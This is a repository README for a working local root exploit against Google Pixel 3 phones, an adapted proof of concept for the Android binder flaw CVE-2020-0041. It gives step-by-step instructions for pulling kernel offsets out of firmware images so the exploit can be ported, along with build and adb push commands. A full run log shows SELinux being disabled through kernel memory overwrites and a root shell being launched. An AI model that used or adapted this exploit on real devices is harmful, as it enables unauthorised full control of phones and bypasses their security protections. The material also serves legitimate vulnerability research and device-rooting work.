jcalabres / root-exploit-pixel3

Adapted CVE-2020-0041 root exploit for Pixel 3

Root Exploit for Pixel 3 Family

This folder contains a local privilege escalation exploit, a modification of the bluefrostsecurity PoC for CVE-2020-0041. The exploit disables SELinux and then launches a root shell.

• The exploit was provided with hardcoded offsets for a Pixel 3 device running the February 2020 firmware (QQ1A.200205.002). The exploit can be adapted for any Pixel 3 device just following the below steps.

• Some changes have been made to avoid root user limitations (the original exploit is not usable).

Adapting the exploit

1. In order to adapt the exploit for any Pixel 3 device, the specific vulnerable firmware (QQ1A.200205.002) needs to be downloaded from the official website developer android images.

2. Later on, convert the boot.img into a zImage. In order to do that, use the abootimg.

./abootimg -x [path_to_boot_img]

The produced zImage, is an image that contains the compressed Android Kernel.

3. In order to obtain an uncompressed image of the Kernel that contains correct symbols and offsets, use the vmlinux-to-elf tool.

vmlinux-to-elf [path_to_zImage] [kernel.elf] 

4. Use a disassembler of your preference to find the labels related with the exploit offsets found in exploit.c:

SELINUX_ENFORCING_OFFSET 
MEMSTART_ADDR_OFFSET 
SYSCTL_TABLE_ROOT_OFFSET
PROC_DOUINTVEC_OFFSET
INIT_TASK_OFFSET
INIT_CRED_OFFSET
OFFSET_PIPE_FOP

5. Align exploit.c with correct offsets.

6. Profit :)

Testing the exploit

The exploit can be built by simply running "make" with the Android NDK in the path (you can also take the poc binary from libs/arm64-v8a path). It can also be pushed to a phone attached with adb by doing "make all push" (warnings removed for brevity):

user@laptop:~/CVE-2020-0041/lpe$ make all push
Building Android
NDK_PROJECT_PATH=. ndk-build NDK_APPLICATION_MK=./Application.mk
make[1]: Entering directory `/home/user/CVE-2020-0041/lpe'
[arm64-v8a] Compile        : poc <= exploit.c
[arm64-v8a] Compile        : poc <= endpoint.c
[arm64-v8a] Compile        : poc <= pending_node.c
[arm64-v8a] Compile        : poc <= binder.c
[arm64-v8a] Compile        : poc <= log.c
[arm64-v8a] Compile        : poc <= helpers.c
[arm64-v8a] Compile        : poc <= binder_lookup.c
[arm64-v8a] Compile        : poc <= realloc.c
[arm64-v8a] Compile        : poc <= node.c
[arm64-v8a] Executable     : poc
[arm64-v8a] Install        : poc => libs/arm64-v8a/poc
make[1]: Leaving directory `/home/user/CVE-2020-0041/lpe'
adb push libs/arm64-v8a/poc /data/local/tmp/poc
libs/arm64-v8a/poc: 1 file pushed. 4.3 MB/s (39016 bytes in 0.009s)

Now just run /data/local/tmp/poc from an adb shell to see the exploit running:

blueline:/ $ /data/local/tmp/poc
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
[+] pipe file: 0xffffffd9c67c7700
[*] file epitem at ffffffda545d7d00
[*] Reallocating content of 'write8_inode' with controlled data.[DONE]
[+] Overwriting 0xffffffd9c67c7720 with 0xffffffda545d7d50...[DONE]
[*] Write done, should have arbitrary read now.
[+] file operations: ffffff97df1af650
[+] kernel base: ffffff97dd280000
[*] Reallocating content of 'write8_selinux' with controlled data.[DONE]
[+] Overwriting 0xffffff97dfe24000 with 0x0...[DONE]
[*] init_cred: ffffff97dfc300a0
[+] memstart_addr: 0xffffffe700000000
[+] First level entry: ceac5003 -> next table at ffffffd9ceac5000
[+] Second level entry: f173c003 -> next table at ffffffd9f173c000
[+] sysctl_table_root = ffffff97dfc5a3f8
[*] Reallocating content of 'write8_sysctl' with controlled data.[DONE]
[+] Overwriting 0xffffffda6da8d868 with 0xffffffda49ced000...[DONE]
[+] Injected sysctl node!
[*] Node write8_inode, pid 7058, kaddr ffffffda0723f900
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_selinux, pid 6848, kaddr ffffffd9c9fa2400
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_sysctl, pid 7110, kaddr ffffffda67e7d180
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[*] epitem.next = ffffffd9c67c7720
[*] epitem.prev = ffffffd9c67c77d8
^[[*] Launching privileged shell
root_by_cve-2020-0041:/ # id   
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
root_by_cve-2020-0041:/ # getenforce
Permissive
root_by_cve-2020-0041:/ #